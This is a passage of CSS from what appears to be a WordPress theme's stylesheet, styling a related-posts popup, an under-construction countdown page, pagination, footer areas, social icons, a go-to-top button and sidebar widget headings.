	transition: all .6s cubic-bezier(.19, 1, .22, 1)
}
@media only screen and (min-width:961px) {
	.penci-vernav-enable.penci-vernav-poleft .penci-rltpopup-left {
		left: 330px
	}
	.penci-vernav-enable.penci-vernav-poright .penci-rltpopup-right {
		right: 330px
	}
}
.penci-rlt-popup.penci-rltpopup-right {
	left: auto;
	right: 0
}
.penci-rlt-popup.rltpopup-show-up {
	-webkit-transform: translate(0, 0);
	-moz-transform: translate(0, 0);
	-ms-transform: translate(0, 0);
	-o-transform: translate(0, 0);
	transform: translate(0, 0)
}
.penci-rlt-popup .penci-rtlpopup-content {
	padding: 20px
}
.penci-rlt-popup .penci-rtlpopup-content:after,
.penci-rlt-popup .penci-rtlpopup-content:before {
	content: "";
	display: table;
	clear: both
}
.penci-rlt-popup .rtlpopup-heading {
	font-size: 16px;
	text-transform: uppercase;
	margin-bottom: 16px;
	text-align: left;
	background: #111;
	color: #fff;
	padding: 8px 30px 8px 20px;
	line-height: 1.25;
	margin: 0;
	position: relative
}
.penci-rlt-popup .rltpopup-item {
	opacity: 0;
	visibility: hidden;
	-webkit-transform: translate(0, 10px);
	-moz-transform: translate(0, 10px);
	-ms-transform: translate(0, 10px);
	-o-transform: translate(0, 10px);
	transform: translate(0, 10px);
	-webkit-transition: all .3s ease-out;
	-moz-transition: all .3s ease-out;
	transition: all .3s ease-out;
	overflow: hidden;
	margin-bottom: 20px;
	padding-bottom: 20px;
	border-bottom: 1px solid #eaeaea
}
.penci-rlt-popup .penci-rtlpopup-content .rltpopup-item:last-child {
	margin-bottom: 0;
	padding-bottom: 0;
	border-bottom: none
}
.penci-rlt-popup.rltpopup-show-up .rltpopup-item {
	opacity: 1;
	visibility: visible;
	-webkit-transform: translate(0, 0);
	-moz-transform: translate(0, 0);
	-ms-transform: translate(0, 0);
	-o-transform: translate(0, 0);
	transform: translate(0, 0)
}
.penci-rlt-popup .rltpopup-thumbnail {
	display: block;
	float: left;
	width: 90px;
	margin: 0 20px 0 0;
	transition: opacity .3s;
	-webkit-transition: opacity .3s;
	-moz-transition: opacity .3s
}
.penci-rlt-popup .rltpopup-thumbnail:hover {
	opacity: .8
}
.penci-rlt-popup .rltpopup-meta {
	display: block;
	overflow: hidden
}
.penci-rlt-popup .rltpopup-meta .rltpopup-title {
	margin-bottom: 5px;
	color: #313131;
	display: block;
	font-size: 15px;
	transition: all .3s;
	-webkit-transition: all .3s;
	-moz-transition: all .3s;
	font-family: inherit;
	letter-spacing: 0;
	line-height: 1.35
}
.penci-rlt-popup .rltpopup-meta .rltpopup-title:hover {
	color: var(--pcaccent-cl)
}
.penci-rlt-popup .rltpopup-meta .date {
	letter-spacing: 0;
	color: #888;
	font-size: 13px
}
.penci-rlt-popup .penci-close-rltpopup {
	position: absolute;
	top: 50%;
	right: 6px;
	height: 24px;
	width: 24px;
	text-align: center;
	line-height: 22px;
	margin: -12px 0 0 0;
	padding: 0;
	border: 0;
	background: 0 0;
	color: #fff;
	outline: 0;
	box-shadow: none;
	font-size: 0 !important;
	opacity: .75;
	transition: opacity .3s;
	-webkit-transition: opacity .3s
}
.penci-rlt-popup .penci-close-rltpopup:hover {
	opacity: 1
}
.penci-rlt-popup .penci-close-rltpopup span {
	display: block;
	width: 20px;
	border-top: 1px solid;
	position: absolute;
	top: 50%;
	left: 0
}
.penci-rlt-popup .penci-close-rltpopup span:first-child {
	transform: rotate(-45deg);
	-webkit-transform: rotate(-45deg)
}
.penci-rlt-popup .penci-close-rltpopup span:last-child {
	transform: rotate(45deg);
	-webkit-transform: rotate(45deg)
}
.container.under-construction-page {
	text-align: center;
	margin-top: 232px;
	margin-bottom: 176px
}
.under-construction-page .under-title {
	font-size: 30px;
	color: #313131;
	text-transform: uppercase;
	margin: 0 0 8px
}
.under-construction-page .sub-title-content,
.under-construction-page .sub-title-content p {
	font-size: 16px;
	font-style: italic;
	margin: 0
}
.under-construction-page .sub-title-content a:hover {
	text-decoration: underline
}
.penci-countdown {
	text-align: center;
	margin: 71px 0 0 0
}
.penci-countdown .countdown-section {
	margin: 0 57px;
	display: inline-block
}
.penci-countdown .countdown-row .countdown-section:first-child {
	margin-left: 0
}
.penci-countdown .countdown-row .countdown-section:last-child {
	margin-right: 0
}
.penci-countdown .countdown-amount {
	font-size: 72px;
	color: var(--pcaccent-cl);
	text-transform: uppercase;
	font-family: var(--pchead-font);
	font-weight: var(--pchead-wei);
	line-height: 1;
	display: block;
	text-align: center;
	letter-spacing: 3px
}
.penci-countdown .countdown-period {
	display: block;
	text-align: center;
	font-size: 20px;
	text-transform: uppercase;
	color: #313131;
	margin: 26px 0 0 0;
	line-height: 1;
	font-family: var(--pchead-font);
	font-weight: var(--pchead-wei)
}
.penci-column {
	margin-right: 4%;
	position: relative;
	float: left;
	min-height: 1px;
	display: block;
	padding: 0 !important;
	margin-bottom: 17px
}
.column-last {
	margin-right: 0 !important
}
.column-1-2 {
	width: 48%
}
.column-1-3 {
	width: 30.6666666667%
}
.column-2-3 {
	width: 65.3333333333%
}
.column-1-4 {
	width: 22%
}
.column-3-4 {
	width: 74%
}
#comments_pagination,
.penci-pagination {
	margin-bottom: 40px;
	overflow: hidden;
	clear: both;
	text-align: center
}
#comments_pagination {
	margin-bottom: 26px
}
.penci-pagination.align-left {
	text-align: left
}
.penci-pagination.align-center {
	text-align: center
}
.penci-pagination.align-right {
	text-align: right
}
.penci-pagenavi-shortcode {
	margin-top: 30px
}
.penci-pagination .disable-url,
.penci-pagination a {
	color: #999;
	font-family: var(--pchead-font);
	font-weight: var(--pchead-wei);
	text-transform: uppercase;
	font-size: 12px;
	display: inline-block;
	line-height: 1;
	transition: all .3s;
	-webkit-transition: all .3s;
	-moz-transition: all .3s
}
.penci-pagination .disable-url span {
	opacity: .5
}
.penci-pagination .disable-url i,
.penci-pagination a i {
	font-size: 14px;
	margin-left: 8px
}
.penci-fawesome-ver5 .penci-pagination .disable-url i,
.penci-fawesome-ver5 .penci-pagination a i {
	font-size: 12px
}
.penci-pagination .newer .disable-url i,
.penci-pagination .newer a i {
	margin: 0 8px 0 0
}
.penci-pagination a:hover {
	text-decoration: none;
	color: var(--pcaccent-cl)
}
.penci-pagination .newer,
.penci-pagination .older {
	display: inline-block
}
.penci-pagination .newer:after {
	content: "/";
	display: inline-block;
	margin: 0 16px 0 20px;
	font-family: var(--pchead-font);
	font-size: 12px;
	color: #999
}
.penci-pagination ul.page-numbers {
	list-style: none;
	display: inline-block;
	vertical-align: top;
	margin: 0;
	padding: 0
}
.penci-pagination ul.page-numbers li {
	display: inline-block;
	float: left;
	margin-right: 10px;
	margin-bottom: 0;
	list-style: none
}
.penci-pagination ul.page-numbers li:last-child {
	margin-right: 0
}
#comments_pagination a,
#comments_pagination span,
.penci-pagination ul.page-numbers li a,
.penci-pagination ul.page-numbers li span {
	padding: 0;
	min-width: 30px;
	height: 30px;
	text-align: center;
	line-height: 28px;
	font-size: 14px;
	display: inline-block;
	border: 1px solid #dedede;
	color: #888;
	text-decoration: none
}
#comments_pagination a,
#comments_pagination span,
.penci-pagination ul.page-numbers li a {
	padding: 0 5px
}
#comments_pagination a:hover,
.penci-pagination ul.page-numbers li a:hover {
	color: #313131;
	border-color: #999;
	text-decoration: none
}
#comments_pagination span,
.penci-pagination ul.page-numbers li span.current {
	color: #fff;
	background: var(--pcaccent-cl);
	border-color: var(--pcaccent-cl);
	text-decoration: none
}
.penci-pagination ul.page-numbers li a i {
	font-size: 16px;
	line-height: 28px;
	margin-left: 2px;
	font-family: FontAwesome !important
}
.penci-fawesome-ver5 .penci-pagination ul.page-numbers li a i {
	font-family: "Font Awesome 5 Free" !important
}
.penci-pagination.penci-ajax-more a.penci-ajax-more-button {
	display: block;
	padding: 11px 10px;
	max-width: 400px;
	margin: 0 auto;
	border: 1px solid var(--pcborder-cl);
	line-height: 1.4;
	text-align: center;
	transition: all .25s;
	-webkit-transition: all .25s;
	background: #fff
}
.penci-pagination.penci-ajax-more a.penci-ajax-more-button .ajax-more-text {
	color: inherit;
	font-family: inherit;
	font-weight: inherit
}
.penci-pagination.penci-ajax-more a.penci-ajax-more-button:hover {
	border-color: var(--pcaccent-cl)
}
.penci-pagination.penci-ajax-more a.penci-ajax-more-button.loading-posts {
	opacity: .8;
	color: #999 !important;
	border-color: #ececec !important;
	cursor: auto
}
.penci-pagination.penci-ajax-more a.penci-ajax-more-button.loading-posts span.ajaxdot:after {
	content: "...";
	font-size: inherit;
	color: inherit;
	font-family: inherit;
	font-weight: inherit
}
.penci-pagination.penci-ajax-more a.penci-ajax-more-button i {
	color: inherit
}
.penci-pagination.penci-ajax-more a.penci-ajax-more-button.loading-posts i {
	animation-name: pencirotate;
	-o-animation-name: pencirotate;
	-ms-animation-name: pencirotate;
	-webkit-animation-name: pencirotate;
	-moz-animation-name: pencirotate;
	animation-duration: .8s;
	-o-animation-duration: .8s;
	-ms-animation-duration: .8s;
	-webkit-animation-duration: .8s;
	-moz-animation-duration: .8s;
	animation-iteration-count: infinite;
	-o-animation-iteration-count: infinite;
	-ms-animation-iteration-count: infinite;
	-webkit-animation-iteration-count: infinite;
	-moz-animation-iteration-count: infinite;
	animation-timing-function: linear;
	-o-animation-timing-function: linear;
	-ms-animation-timing-function: linear;
	-webkit-animation-timing-function: linear;
	-moz-animation-timing-function: linear
}
@keyframes pencirotate {
	from {
		transform: rotate(360deg)
	}
	to {
		transform: rotate(0)
	}
}
@-o-keyframes pencirotate {
	from {
		-o-transform: rotate(360deg)
	}
	to {
		-o-transform: rotate(0)
	}
}
@-webkit-keyframes pencirotate {
	from {
		-webkit-transform: rotate(360deg)
	}
	to {
		-webkit-transform: rotate(0)
	}
}
@-moz-keyframes pencirotate {
	from {
		-moz-transform: rotate(360deg)
	}
	to {
		-moz-transform: rotate(0)
	}
}
p.no-comments {
	text-align: center;
	font-size: 16px
}
#footer-area {
	background: #171717;
	padding: 60px 0;
	text-align: center;
	position: relative;
	clear: both
}
#footer-section {
	padding: 0;
	background: #313131;
	text-align: center;
	color: #999;
	position: relative;
	background-repeat: no-repeat;
	background-size: cover;
	background-position: center center
}
.penci-footer-social-moved {
	background: #313131;
	border-top: 1px solid #ececec
}
.footer-socials-section {
	padding: 30px 0 15px;
	border-bottom: 1px solid #4a4a4a;
	text-align: center
}
.penci-footer-social-moved .footer-socials-section {
	border-bottom: none
}
ul.footer-socials {
	list-style: none;
	display: inline-block;
	vertical-align: top
}
ul.footer-socials li {
	float: none;
	display: inline-block;
	margin-right: 30px;
	margin-bottom: 15px
}
ul.footer-socials li:last-child {
	margin-right: 0
}
ul.footer-socials li a {
	line-height: 36px;
	display: inline-block;
	vertical-align: top
}
ul.footer-socials li a i {
	width: 36px;
	height: 36px;
	line-height: 34px;
	display: inline-block;
	border-radius: 50%;
	-webkit-border-radius: 50%;
	-moz-border-radius: 50%;
	background: 0 0;
	color: #999;
	border: 1px solid #999;
	-webkit-transition: all .2s ease-in-out;
	-moz-transition: all .2s ease-in-out;
	-o-transition: all .2s ease-in-out;
	transition: all .2s ease-in-out;
	font-size: 14px;
	vertical-align: top
}
ul.footer-socials li a i svg {
	fill: #999
}
ul.footer-socials li a:hover i {
	background: var(--pcaccent-cl);
	color: #fff;
	border-color: var(--pcaccent-cl)
}
ul.footer-socials li a span {
	text-transform: uppercase;
	font-size: 14px;
	font-family: var(--pchead-font);
	font-weight: var(--pchead-wei);
	color: #999;
	display: inline-block;
	margin-left: 10px;
	vertical-align: top;
	-webkit-transition: all .3s;
	-moz-transition: all .3s;
	-o-transition: all .3s;
	transition: all .3s
}
ul.footer-socials li a:hover span {
	color: var(--pcaccent-cl)
}
.footer-social-remove-circle ul.footer-socials li a {
	line-height: 20px
}
.footer-social-remove-circle ul.footer-socials li a i,
.footer-social-remove-circle ul.footer-socials li a:hover i {
	border: none;
	background: 0 0;
	padding: 0;
	width: auto;
	height: auto;
	line-height: 20px
}
.footer-social-drop-line ul.footer-socials li a span {
	margin: 5px 0 0;
	display: block
}
.footer-social-remove-radius ul.footer-socials li a i {
	border-radius: 0;
	-webkit-border-radius: 0;
	-moz-border-radius: 0
}
.footer-social-remove-text ul.footer-socials li a span {
	display: none
}
.widget-social svg,
ul.footer-socials li svg {
	vertical-align: middle
}
.widget-social svg,
ul.footer-socials li svg {
	max-width: 16px;
	height: auto
}
.footer-logo-copyright {
	padding: 40px 0 73px;
	text-align: center
}
.footer-logo-copyright.footer-not-gotop {
	padding: 40px 0
}
.footer-logo-copyright.footer-not-logo {
	padding: 20px 0 62px
}
.footer-logo-copyright.footer-not-logo.footer-not-gotop {
	padding: 20px 0
}
#footer-logo {
	margin: 0 0 32px 0
}
#footer-logo a {
	display: inline-block;
	vertical-align: top
}
#footer-logo .penci-lazy[src*=penci-holder] {
	width: 0
}
#footer-copyright * {
	font-size: 14px;
	color: #999;
	line-height: 1.4;
	font-style: italic
}
#footer-copyright a {
	color: var(--pcaccent-cl)
}
#footer-copyright a:hover {
	text-decoration: underline
}
body.single-penci-block .penci-go-to-top-floating,
body.single-penci-block .penci-wrap-gprd-law {
	display: none !important
}
body.single-penci-block .clear-footer {
	margin-bottom: 0;
	height: 0
}
body.single-penci-block .pc-wrapbuilder-header {
	margin-bottom: 0
}
.footer-menu-wrap {
	display: block;
	text-align: center;
	margin-bottom: 10px
}
.footer-menu-wrap:before {
	content: "";
	display: table
}
.footer-menu-wrap:after {
	display: block;
	height: 0;
	clear: both;
	visibility: hidden;
	content: ""
}
div.footer-menu>ul,
ul.footer-menu {
	list-style: none;
	display: inline-block;
	vertical-align: top
}
.footer-menu li {
	display: inline-block;
	padding: 0 15px;
	position: relative;
	margin-bottom: 5px
}
#footer-section .footer-menu li a {
	color: #999
}
#footer-section .footer-menu li a:hover {
	color: var(--pcaccent-cl)
}
.footer-menu ul.sub-menu {
	display: none !important
}
#footer-section .go-to-top-parent {
	width: 100%;
	height: auto;
	display: block;
	position: absolute;
	left: 0;
	bottom: 17px;
	text-align: center;
	z-index: 10
}
#footer-section .go-to-top-parent span {
	color: #999;
	font-size: 12px;
	font-weight: var(--pchead-wei);
	font-family: var(--pchead-font);
	text-transform: uppercase;
	line-height: 1;
	display: inline-block;
	transition: all .3s;
	-webkit-transition: all .3s;
	-moz-transition: all .3s
}
#footer-section .go-to-top-parent span:after,
#footer-section .go-to-top-parent span:before {
	content: " ";
	display: table
}
#footer-section .go-to-top-parent span:after {
	clear: both
}
#footer-section .go-to-top-parent i {
	font-size: 12px;
	z-index: 5;
	position: relative;
	transition: all .3s;
	-webkit-transition: all .3s;
	-moz-transition: all .3s;
	color: #999;
	line-height: 1;
	margin-bottom: 3px
}
#footer-section .go-to-top:hover i,
#footer-section .go-to-top:hover span {
	color: #fff
}
.penci-go-to-top-floating {
	cursor: pointer;
	position: fixed;
	bottom: 20px;
	right: 20px;
	width: 40px;
	height: 40px;
	line-height: 40px;
	font-size: 16px;
	background-color: var(--pcaccent-cl);
	color: #fff;
	z-index: 99999;
	text-align: center;
	transform: translate3d(0, 80px, 0);
	-webkit-transform: translate3d(0, 80px, 0);
	-webkit-transition: transform .5s cubic-bezier(.55, 0, .05, 1.1) 0s, opacity .3s;
	transition: transform .5s cubic-bezier(.55, 0, .05, 1.1) 0s, opacity .3s
}
.penci-go-to-top-floating i[class^=penciicon-] {
	vertical-align: top;
	line-height: inherit
}
.penci-go-to-top-floating.show-up {
	transform: translate3d(0, 0, 0);
	-webkit-transform: translate3d(0, 0, 0);
	-moz-transform: translate3d(0, 0, 0);
	-ms-transform: translate3d(0, 0, 0);
	-o-transform: translate3d(0, 0, 0)
}
.penci-go-to-top-floating:hover {
	opacity: .85
}
.penci-go-to-top-floating i {
	font-size: inherit;
	line-height: inherit;
	color: inherit
}
.penci-go-to-top-floating.pgtt-style-2 {
	border-radius: 50%;
}
.penci-go-to-top-floating.pgtt-style-3 {
	border-radius: 50%;
	background: var(--pcbg-cl);
	color: var(--pcaccent-cl);
	box-shadow: 0px 5px 20px 0px rgba(0, 0, 0, 0.15);
}  
.textwidget {
	line-height: 1.8
}
#widget-area {
	overflow: hidden;
	margin: 0;
	padding: 60px 0;
	background: #fff;
	position: relative;
	border-top: 1px solid #ececec;
	background-repeat: no-repeat;
	background-size: cover;
	background-position: center center
}
#widget-area>.container {
	position: relative;
	z-index: 3
}
#widget-area>.container:after,
#widget-area>.container:before {
	content: "";
	display: table;
	clear: both
}
.footer-widget-wrapper {
	width: 31%;
	margin-right: 3.5%;
	float: left
}
.footer-widget-wrapper.footer-widget-style-2 {
	width: 32.1666%
}
.footer-widget-wrapper.footer-widget-style-2.last {
	width: 64.3334%
}
.footer-widget-wrapper.footer-widget-style-3 {
	width: 64.3334%
}
.footer-widget-wrapper.footer-widget-style-3.last {
	width: 32.1666%
}
.footer-widget-wrapper.footer-widget-style-4 {
	width: 22.75%;
	margin-right: 3%
}
.footer-widget-wrapper.footer-widget-style-5,
.footer-widget-wrapper.footer-widget-style-6,
.footer-widget-wrapper.footer-widget-style-7 {
	width: 23.25%
}
.footer-widget-wrapper.footer-widget-style-5:first-child,
.footer-widget-wrapper.footer-widget-style-6:nth-child(2),.footer-widget-wrapper.footer-widget-style-7:last-child {
	width: 46.5%
}
.footer-widget-wrapper.footer-widget-style-8,
.footer-widget-wrapper.footer-widget-style-9 {
	width: 23.5%
}
.footer-widget-wrapper.footer-widget-style-8:last-child,
.footer-widget-wrapper.footer-widget-style-9:first-child {
	width: 73%
}
.footer-widget-wrapper.footer-widget-style-10 {
	width: 48%;
	margin-right: 4%
}
#widget-area .footer-widget-wrapper.last {
	margin-right: 0
}
.footer-widget-wrapper>.widget:last-child {
	margin-bottom: 0 !important
}
.widget input {
	font-weight: 400
}
.penci-button,
.widget button[type=submit],
.widget input[type=submit] {
	font-family: var(--pchead-font);
	font-weight: var(--pchead-wei)
}
.penci-sidebar-content.pcsb-boxed-whole {
	padding: 20px;
	border: 1px solid var(--pcborder-cl);
	margin-bottom: 60px
}
.penci-sidebar-content .widget {
	width: 100%;
	margin-right: 0;
	float: none;
	margin-bottom: 60px;
	clear: both
}
.penci-sidebar-content.pcsb-boxed-widget .widget {
	padding: 20px;
	border: 1px solid var(--pcborder-cl)
}
.penci-sidebar-content.pcsb-boxed-whole .widget:last-child {
	margin-bottom: 0
}
.penci-sidebar-content img {
	max-width: 100%;
	height: auto;
	vertical-align: top
}
.penci-sidebar-content .widget-title {
	color: #313131;
	margin-bottom: 30px;
	font-family: var(--pchead-font);
	font-weight: var(--pchead-wei);
	position: relative;
	text-align: center;
	line-height: 1.3;
	background: 0 0
}
body.ehf-header .featuredsl-customizer,
body.ehf-header .penci-header-wrap {
	display: none
}
body.ehf-footer #footer-section,
body.ehf-footer #widget-area,
body.ehf-footer .clear-footer,
body.ehf-footer .footer-instagram,
body.ehf-footer .footer-subscribe,
body.ehf-footer .penci-footer-social-media {
	display: none
}
.penci-sidebar-content.pcalign-left .widget-title {
	text-align: left
}
.penci-sidebar-content.pcalign-right .widget-title {
	text-align: right
}
.penci-homepage-title.style-10,
.penci-homepage-title.style-11,
.penci-homepage-title.style-12,
.penci-homepage-title.style-13,
.penci-homepage-title.style-2,
.penci-homepage-title.style-3,
.penci-homepage-title.style-4,
.penci-homepage-title.style-5,
.penci-homepage-title.style-6,
.penci-homepage-title.style-7,
.penci-homepage-title.style-8,
.penci-homepage-title.style-9,
.penci-sidebar-content.style-10 .widget-title,
.penci-sidebar-content.style-11 .widget-title,
.penci-sidebar-content.style-12 .widget-title,
.penci-sidebar-content.style-13 .widget-title,
.penci-sidebar-content.style-14 .widget-title,
.penci-sidebar-content.style-2 .widget-title,
.penci-sidebar-content.style-3 .widget-title,
.penci-sidebar-content.style-4 .widget-title,
.penci-sidebar-content.style-5 .widget-title,
.penci-sidebar-content.style-6 .widget-title,
.penci-sidebar-content.style-7 .widget-title,
.penci-sidebar-content.style-8 .widget-title,
.penci-sidebar-content.style-9 .widget-title {
	margin-left: 0;
	margin-right: 0;
	margin-top: 0
}
.penci-homepage-title.style-14 {
	margin-left: 6px;
	margin-right: 6px;
	margin-top: 0
}
.penci-homepage-title.style-2:before,
.penci-sidebar-content.style-2 .penci-border-arrow:before {
	bottom: -4px
}
.penci-border-arrow.penci-homepage-title.style-2:after,
.penci-sidebar-content.style-2 .penci-border-arrow:after {
	width: 0;
	height: 0;
	border-style: solid;
	border-color: transparent;
	bottom: -2px;
	left: 50%;
	top: auto;
	right: auto;
	border-width: 6px;
	border-bottom: 0;
	margin-left: -6px;
	z-index: 5;
	border-top-color: #fff;
	background: 0 0 !important
}
.penci-homepage-title.style-2 .inner-arrow,
.penci-sidebar-content.style-2 .penci-border-arrow .inner-arrow {
	border-width: 2px
}
.penci-homepage-title.style-1.pcalign-left:before,
.penci-homepage-title.style-2.pcalign-left:after,
.penci-homepage-title.style-2.pcalign-left:before,
.penci-sidebar-content.style-1.pcalign-left .penci-border-arrow:before,
.penci-sidebar-content.style-2.pcalign-left .penci-border-arrow:after,
.penci-sidebar-content.style-2.pcalign-left .penci-border-arrow:before {
	left: 19px;
	right: auto
}
.penci-homepage-title.style-1.pcalign-right:before,
.penci-homepage-title.style-2.pcalign-right:after,
.penci-homepage-title.style-2.pcalign-right:before,
.penci-sidebar-content.style-1.pcalign-right .penci-border-arrow:before,
.penci-sidebar-content.style-2.pcalign-right .penci-border-arrow:after,
.penci-sidebar-content.style-2.pcalign-right .penci-border-arrow:before {
	left: auto;
	right: 19px
}
.penci-homepage-title.style-1.pcalign-center:before,
.penci-homepage-title.style-2.pcalign-center:after,
.penci-homepage-title.style-2.pcalign-center:before {
	left: 50%;
	margin-left: -6px;
	right: auto
}
.penci-homepage-title.style-3:after,
.penci-homepage-title.style-3:before,
.penci-homepage-title.style-4:after,
.penci-homepage-title.style-4:before,
.penci-homepage-title.style-5:after,
.penci-homepage-title.style-5:before,
.penci-homepage-title.style-6:after,
.penci-homepage-title.style-6:before,
.penci-homepage-title.style-7:after,
.penci-homepage-title.style-7:before,
.penci-homepage-title.style-8:after,
.penci-homepage-title.style-8:before,
.penci-homepage-title.style-9:after,
.penci-homepage-title.style-9:before,
.penci-sidebar-content.style-3 .penci-border-arrow:after,
.penci-sidebar-content.style-3 .penci-border-arrow:before,
.penci-sidebar-content.style-4 .penci-border-arrow:after,
.penci-sidebar-content.style-4 .penci-border-arrow:before,
.penci-sidebar-content.style-5 .penci-border-arrow:after,
.penci-sidebar-content.style-5 .penci-border-arrow:before,
.penci-sidebar-content.style-6 .penci-border-arrow:after,
.penci-sidebar-content.style-6 .penci-border-arrow:before,
.penci-sidebar-content.style-7 .penci-border-arrow:after,
.penci-sidebar-content.style-7 .penci-border-arrow:before,
.penci-sidebar-content.style-8 .penci-border-arrow:after,
.penci-sidebar-content.style-8 .penci-border-arrow:before,
.penci-sidebar-content.style-9 .penci-border-arrow:after,
.penci-sidebar-content.style-9 .penci-border-arrow:before {
	content: none
}
.penci-homepage-title.style-3.pcalign-center .inner-arrow,
.penci-homepage-title.style-3.pcalign-left .inner-arrow,
.penci-sidebar-content.style-3.pcalign-center .penci-border-arrow .inner-arrow,
.penci-sidebar-content.style-3.pcalign-left .penci-border-arrow .inner-arrow {
	border-left-width: 6px
}
.penci-homepage-title.style-3.pcalign-right .inner-arrow,
.penci-sidebar-content.style-3.pcalign-right .penci-border-arrow .inner-arrow {
	border-right-width: 6px
}
.pc-flexmnld,
.penci-homepage-title.style-4,
.penci-sidebar-content.style-4 .penci-border-arrow {
	overflow: hidden
}
.pc-flexmnld .penci-homepage-title.style-4,
.pc-flexmnld .penci-sidebar-content.style-4 .penci-border-arrow {
	overflow: visible
}
.elementor-widget-penci-block-heading .pc-flexmnld {
	overflow: visible
}
.penci-homepage-title.style-4 .inner-arrow,
.penci-sidebar-content.style-4 .penci-border-arrow .inner-arrow {
	padding: 0 12px;
	border: none;
	display: inline-block;
	background: 0 0 !important
}
.elementor-widget-penci-block-heading .penci-homepage-title.style-4 .inner-arrow>span {
	position: relative;
	padding: 0 12px
}
.elementor-widget-penci-block-heading .penci-homepage-title.style-4.pcalign-left .inner-arrow>span,
.penci-homepage-title.style-4.pcalign-left .inner-arrow,
.penci-sidebar-content.style-4.pcalign-left .penci-border-arrow .inner-arrow {
	padding-left: 0
}
.elementor-widget-penci-block-heading .penci-homepage-title.style-4.pcalign-right .inner-arrow>span,
.penci-homepage-title.style-4.pcalign-right .inner-arrow,
.penci-sidebar-content.style-4.pcalign-right .penci-border-arrow .inner-arrow {
	padding-right: 0
}
.elementor-widget-penci-block-heading .penci-homepage-title.style-4 .inner-arrow {
	overflow: hidden
}
.elementor-widget-penci-block-heading .penci-homepage-title.style-4 .inner-arrow>span:after,
.elementor-widget-penci-block-heading .penci-homepage-title.style-4 .inner-arrow>span:before,
.penci-homepage-title.style-4 .inner-arrow:after,
.penci-homepage-title.style-4 .inner-arrow:before,
.penci-sidebar-content.style-4 .penci-border-arrow .inner-arrow:after,
.penci-sidebar-content.style-4 .penci-border-arrow .inner-arrow:before {
	position: absolute;
	content: "";
	width: 1200px;
	height: 0;
	top: 50%;
	left: 100%;
	border: none;
	border-bottom: 1px solid;
	z-index: 1;
	opacity: .5
}
.elementor-widget-penci-block-heading .penci-homepage-title.style-4 .inner-arrow:after,
.elementor-widget-penci-block-heading .penci-homepage-title.style-4 .inner-arrow:before {
	display: none
}
.elementor-widget-penci-block-heading .penci-homepage-title.style-4 .inner-arrow>span:before,
.penci-homepage-title.style-4 .inner-arrow:before,
.penci-sidebar-content.style-4 .penci-border-arrow .inner-arrow:before {
	left: auto;
	right: 100%
}
.elementor-widget-penci-block-heading .penci-homepage-title.style-4 .inner-arrow {
	display: block
}
.penci-homepage-title.style-5,
.penci-homepage-title.style-7,
.penci-homepage-title.style-9,
.penci-sidebar-content.style-5 .penci-border-arrow,
.penci-sidebar-content.style-7 .penci-border-arrow,
.penci-sidebar-content.style-9 .penci-border-arrow {
	border-bottom: 2px solid #313131
}
.penci-homepage-title.style-5 .inner-arrow,
.penci-sidebar-content.style-5 .penci-border-arrow .inner-arrow {
	display: inline-block;
	border-bottom-width: 2px;
	margin-bottom: -2px !important
}
.penci-homepage-title.style-5.pcalign-left .inner-arrow,
.penci-sidebar-content.style-5.pcalign-left .penci-border-arrow .inner-arrow {
	border-left-width: 2px
}
.penci-homepage-title.style-5.pcalign-right .inner-arrow,
.penci-sidebar-content.style-5.pcalign-right .penci-border-arrow .inner-arrow {
	border-right-width: 2px
}
.penci-homepage-title.style-6 .inner-arrow,
.penci-sidebar-content.style-6 .penci-border-arrow .inner-arrow {
	background: 0 0 !important;
	padding: 0 !important;
	border: none !important
}
.penci-homepage-title.style-7,
.penci-sidebar-content.style-7 .penci-border-arrow {
	border-bottom-width: 3px
}
.penci-homepage-title.style-9,
.penci-sidebar-content.style-9 .penci-border-arrow {
	border-bottom-width: 1px
}
.penci-homepage-title.style-7 .inner-arrow,
.penci-homepage-title.style-9 .inner-arrow,
.penci-sidebar-content.style-7 .penci-border-arrow .inner-arrow,
.penci-sidebar-content.style-9 .penci-border-arrow .inner-arrow {
	background: 0 0 !important;
	padding: 0 0 8px 0;
	border: none
}
.penci-homepage-title.style-7 .inner-arrow:before,
.penci-homepage-title.style-9 .inner-arrow:before,
.penci-sidebar-content.style-7 .penci-border-arrow .inner-arrow:before,
.penci-sidebar-content.style-9 .penci-border-arrow .inner-arrow:before {
	content: "";
	width: 40px;
	height: 3px;
	position: absolute;
	bottom: -3px;
	background: var(--pcaccent-cl)
}
.penci-homepage-title.style-9 .inner-arrow:before,
.penci-sidebar-content.style-9 .penci-border-arrow .inner-arrow:before {
	bottom: -2px
}
.penci-homepage-title.style-7.pcalign-center .inner-arrow:before,
.penci-homepage-title.style-9.pcalign-center .inner-arrow:before,
.penci-sidebar-content.style-7.pcalign-center .penci-border-arrow .inner-arrow:before,
.penci-sidebar-content.style-9.pcalign-center .penci-border-arrow .inner-arrow:before {
	left: 50%;
	margin-left: -20px
}
.penci-homepage-title.style-7.pcalign-left .inner-arrow:before,
.penci-homepage-title.style-9.pcalign-left .inner-arrow:before,
.penci-sidebar-content.style-7.pcalign-left .penci-border-arrow .inner-arrow:before,
.penci-sidebar-content.style-9.pcalign-left .penci-border-arrow .inner-arrow:before {
	left: 0;
	margin: 0
}
.penci-homepage-title.style-7.pcalign-right .inner-arrow:before,
.penci-homepage-title.style-9.pcalign-right .inner-arrow:before,
.penci-sidebar-content.style-7.pcalign-right .penci-border-arrow .inner-arrow:before,
.penci-sidebar-content.style-9.pcalign-right .penci-border-arrow .inner-arrow:before {
	right: 0;
	margin: 0
}
.penci-homepage-title.style-8 .inner-arrow,
.penci-sidebar-content.style-8 .penci-border-arrow .inner-arrow {
	background-repeat: no-repeat;
	background-position: center center;
	background-size: auto 100%;
	border: none !important;
	padding-top: 13px;
	padding-bottom: 12px
}
.penci-homepage-title.style-8.pcalign-left .inner-arrow,
.penci-sidebar-content.style-8.pcalign-left .penci-border-arrow .inner-arrow {
	background-position: left center
}
.penci-homepage-title.style-8.pcalign-right .inner-arrow,
.penci-sidebar-content.style-8.pcalign-right .penci-border-arrow .inner-arrow {
	background-position: right center
}
.penci-homepage-title.style-8.pcalign-center .inner-arrow,
.penci-sidebar-content.style-8.pcalign-center .penci-border-arrow .inner-arrow {
	background-position: center center
}
.penci-homepage-title.style-10,
.penci-sidebar-content.style-10 .penci-border-arrow {
	border-top: 3px solid #313131;
	border-bottom: 1px solid #dedede
}
.penci-homepage-title.style-10 .inner-arrow,
.penci-sidebar-content.style-10 .penci-border-arrow .inner-arrow {
	background: 0 0 !important;
	border: none !important;
	padding: 9px 0 !important
}
.penci-sidebar-content.style-10 .penci-border-arrow:after,
.penci-sidebar-content.style-10 .penci-border-arrow:before,
